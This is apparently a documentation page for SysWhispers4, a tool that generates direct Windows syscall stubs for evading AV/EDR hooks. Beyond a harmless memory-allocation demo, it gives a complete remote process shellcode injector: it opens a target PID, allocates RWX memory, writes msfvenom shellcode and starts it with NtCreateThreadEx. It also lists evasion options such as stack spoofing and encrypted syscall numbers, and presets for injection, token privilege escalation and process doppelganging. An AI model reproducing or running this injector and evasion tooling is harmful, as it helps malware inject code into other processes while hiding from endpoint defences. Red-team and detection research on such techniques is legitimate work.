Skip to main content

Documentation Index

Fetch the complete documentation index at: https://mintlify.com/JoasASantos/SysWhispers4/llms.txt

Use this file to discover all available pages before exploring further.

Your First Syscall Stub

This guide walks you through generating syscall stubs for common NT functions and integrating them into a working C program.
Make sure you’ve completed the Installation steps before proceeding.

Generate Syscall Stubs

1

Choose a Preset

SysWhispers4 provides 8 presets for common use cases. Let’s start with the common preset:
cd SysWhispers4
python syswhispers.py --preset common
This generates stubs for 25 essential functions including:
  • NtAllocateVirtualMemory — Memory allocation
  • NtCreateThreadEx — Thread creation
  • NtOpenProcess — Process handle operations
  • NtWriteVirtualMemory — Memory writing
  • And 21 more…
python syswhispers.py --list-presets
PresetDescriptionFunctions
commonGeneral process/thread/memory operations25
injectionProcess/shellcode injection via APC, threads, sections20
evasionAV/EDR evasion queries and operations15
tokenToken manipulation and privilege escalation6
stealthMaximum evasion: injection + evasion + unhooking32
file_opsFile I/O via NT syscalls7
transactionProcess doppelganging / transaction rollback7
allEvery supported function64
2

Review Generated Files

SysWhispers4 creates 4 files in the current directory:
ls -l SW4Syscalls*
Output:
SW4Syscalls.asm         # MASM syscall stubs (x64 assembly)
SW4Syscalls.c           # Runtime SSN resolution + helper functions
SW4Syscalls.h           # Function prototypes + API declarations
SW4Syscalls_Types.h     # NT type definitions (structures, enums)
// NT data structures and type definitions
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    // ...
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
// ... more types ...
3

Understand the Output Summary

The generator prints a summary:
Functions  : 25
Arch       : x64
Compiler   : msvc
Resolution : freshycalls
Method     : embedded
Prefix     : SW4_

[*] Integration guide:
    Add to MSVC project:
      SW4Syscalls_Types.h  SW4Syscalls.h  SW4Syscalls.c  SW4Syscalls.asm
    Enable MASM: Project -> Build Customizations -> masm (.targets)
    Call SW4_Initialize() at startup.

[+] Done.
Key information:
  • Resolution: freshycalls — Sorts ntdll exports by VA (hook-resistant)
  • Method: embedded — Direct syscall instruction in stub
  • Prefix: SW4_ — All functions/symbols prefixed with SW4_

Create a Test Program

Let’s create a simple program that allocates memory using our generated syscalls.
#include <stdio.h>
#include <windows.h>
#include "SW4Syscalls.h"

int main(void) {
    printf("[*] Initializing SysWhispers4...\n");
    
    // Initialize: Resolve syscall numbers via FreshyCalls
    if (!SW4_Initialize()) {
        fprintf(stderr, "[!] SW4_Initialize failed\n");
        return 1;
    }
    printf("[+] SSN resolution complete\n");
    
    // Allocate 4KB of memory in current process
    PVOID baseAddress = NULL;
    SIZE_T regionSize = 0x1000;  // 4096 bytes
    
    NTSTATUS status = SW4_NtAllocateVirtualMemory(
        GetCurrentProcess(),     // ProcessHandle
        &baseAddress,            // BaseAddress (out)
        0,                       // ZeroBits
        &regionSize,             // RegionSize (in/out)
        MEM_COMMIT | MEM_RESERVE,// AllocationType
        PAGE_READWRITE           // Protect
    );
    
    if (NT_SUCCESS(status)) {
        printf("[+] Allocated %zu bytes at address 0x%p\n", 
               regionSize, baseAddress);
        
        // Write some data
        memcpy(baseAddress, "Hello from syscall!", 19);
        printf("[+] Wrote data: %s\n", (char*)baseAddress);
        
        // Free memory
        regionSize = 0;
        status = SW4_NtFreeVirtualMemory(
            GetCurrentProcess(),
            &baseAddress,
            &regionSize,
            MEM_RELEASE
        );
        
        if (NT_SUCCESS(status)) {
            printf("[+] Memory freed successfully\n");
        }
    } else {
        fprintf(stderr, "[!] NtAllocateVirtualMemory failed: 0x%08X\n", status);
        return 1;
    }
    
    printf("[+] All operations completed via direct syscalls!\n");
    return 0;
}

Compile and Run

1

Create Project

  1. Open Visual Studio
  2. File → New → Project → “Empty Project”
  3. Name: SysWhispersTest
2

Enable MASM

  • Right-click project → Build Dependencies → Build Customizations
  • Check masm (.targets, .props)
3

Add Files

Right-click project → Add → Existing Item:
  • SW4Syscalls_Types.h
  • SW4Syscalls.h
  • SW4Syscalls.c
  • SW4Syscalls.asm
  • test_syscalls.c
4

Build

  • Press F7 or Build → Build Solution
  • If successful, output: SysWhispersTest.exe
5

Run

[*] Initializing SysWhispers4...
[+] SSN resolution complete
[+] Allocated 4096 bytes at address 0x000001A2B4E30000
[+] Wrote data: Hello from syscall!
[+] Memory freed successfully
[+] All operations completed via direct syscalls!

Advanced Example: Remote Process Injection

Here’s a more realistic example — injecting shellcode into a remote process:
#include <stdio.h>
#include <windows.h>
#include "SW4Syscalls.h"

// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
    0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
    // ... (276 bytes total)
};

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("Usage: %s <target_pid>\n", argv[0]);
        return 1;
    }
    
    DWORD targetPid = atoi(argv[1]);
    
    // Step 1: Initialize syscalls
    if (!SW4_Initialize()) {
        fprintf(stderr, "[!] Initialization failed\n");
        return 1;
    }
    printf("[+] SysWhispers4 initialized\n");
    
    // Step 2: Open target process
    HANDLE hProcess = NULL;
    OBJECT_ATTRIBUTES objAttr = { sizeof(OBJECT_ATTRIBUTES) };
    CLIENT_ID cid = { (PVOID)(ULONG_PTR)targetPid, NULL };
    
    NTSTATUS status = SW4_NtOpenProcess(
        &hProcess,
        PROCESS_ALL_ACCESS,
        &objAttr,
        &cid
    );
    
    if (!NT_SUCCESS(status)) {
        fprintf(stderr, "[!] NtOpenProcess failed: 0x%08X\n", status);
        return 1;
    }
    printf("[+] Opened PID %lu (handle 0x%p)\n", targetPid, hProcess);
    
    // Step 3: Allocate memory in remote process
    PVOID remoteBase = NULL;
    SIZE_T regionSize = sizeof(shellcode);
    
    status = SW4_NtAllocateVirtualMemory(
        hProcess,
        &remoteBase,
        0,
        &regionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!NT_SUCCESS(status)) {
        fprintf(stderr, "[!] NtAllocateVirtualMemory failed: 0x%08X\n", status);
        SW4_NtClose(hProcess);
        return 1;
    }
    printf("[+] Allocated %zu bytes at 0x%p\n", regionSize, remoteBase);
    
    // Step 4: Write shellcode
    SIZE_T written = 0;
    status = SW4_NtWriteVirtualMemory(
        hProcess,
        remoteBase,
        shellcode,
        sizeof(shellcode),
        &written
    );
    
    if (!NT_SUCCESS(status)) {
        fprintf(stderr, "[!] NtWriteVirtualMemory failed: 0x%08X\n", status);
        SW4_NtClose(hProcess);
        return 1;
    }
    printf("[+] Wrote %zu bytes of shellcode\n", written);
    
    // Step 5: Create remote thread
    HANDLE hThread = NULL;
    status = SW4_NtCreateThreadEx(
        &hThread,
        THREAD_ALL_ACCESS,
        NULL,
        hProcess,
        remoteBase,  // StartRoutine
        NULL,        // Argument
        0,           // CreateFlags
        0, 0, 0, NULL
    );
    
    if (!NT_SUCCESS(status)) {
        fprintf(stderr, "[!] NtCreateThreadEx failed: 0x%08X\n", status);
        SW4_NtClose(hProcess);
        return 1;
    }
    printf("[+] Thread created (handle 0x%p)\n", hThread);
    
    // Step 6: Wait for completion
    printf("[*] Waiting for thread to complete...\n");
    SW4_NtWaitForSingleObject(hThread, FALSE, NULL);
    
    // Cleanup
    SW4_NtClose(hThread);
    SW4_NtClose(hProcess);
    printf("[+] Injection complete!\n");
    
    return 0;
}
For Educational Purposes Only: This example demonstrates syscall-based process injection. Only use on systems you own or have explicit authorization to test.

Generate with Advanced Options

For the injection example, use enhanced evasion:
python syswhispers.py --preset injection \
    --method indirect \
    --resolve freshycalls \
    --encrypt-ssn \
    --stack-spoof
What this does:
  • --method indirect — Jump to ntdll gadget (RIP appears in ntdll at syscall)
  • --resolve freshycalls — Sort exports by VA (hook-resistant)
  • --encrypt-ssn — XOR-encrypt syscall numbers at rest
  • --stack-spoof — Synthetic call stack frames

Customizing Function Selection

You can also pick individual functions:
# Generate stubs for specific functions only
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx
Or combine presets:
# Combine injection + token manipulation
python syswhispers.py --preset injection,token

Next Steps

Explore SSN Resolution Methods

Learn about FreshyCalls, Hell’s Gate, Tartarus’ Gate, and 5 more techniques

Invocation Methods

Understand embedded, indirect, randomized, and egg hunt methods

Evasion Features

ETW/AMSI bypass, ntdll unhooking, anti-debug, sleep encryption

Presets Reference

Complete guide to all 8 function presets

Troubleshooting

Possible causes:
  • ntdll.dll not loaded (shouldn’t happen in normal Windows process)
  • FreshyCalls can’t enumerate exports (permission issue)
Solutions:
  • Try static resolution: --resolve static
  • Enable verbose mode to see debug output
  • Check if running in unusual environment (sandboxed, driver context)
Cause: Incorrect parameter types or invalid handlesSolutions:
  • Verify all parameters match NT function signature
  • Check that handles are valid (not NULL or INVALID_HANDLE_VALUE)
  • Ensure OBJECT_ATTRIBUTES is initialized: { sizeof(OBJECT_ATTRIBUTES) }
Cause: SSN mismatch (wrong syscall number for OS version)Solutions:
  • Update syscall tables: python scripts/update_syscall_table.py
  • Use dynamic resolution (FreshyCalls) instead of static
  • Verify architecture matches (x64 vs x86)
Error: error A2008: syntax errorSolution: Ensure ASM file is set to “Microsoft Macro Assembler” item type in Visual Studio project properties.

What You’ve Learned

1

Generated syscall stubs

Used --preset common to create stubs for 25 essential NT functions
2

Integrated into C project

Added generated files to MSVC/MinGW project and compiled successfully
3

Called NT functions directly

Used SW4_NtAllocateVirtualMemory to allocate memory via direct syscall, bypassing user-mode hooks
4

Built a working injector

Created a complete process injection example using syscall-based memory allocation, writing, and thread creation
You now have a working syscall-based application that bypasses user-mode EDR hooks! Continue exploring the documentation to learn about advanced techniques and evasion features.

Build docs developers (and LLMs) love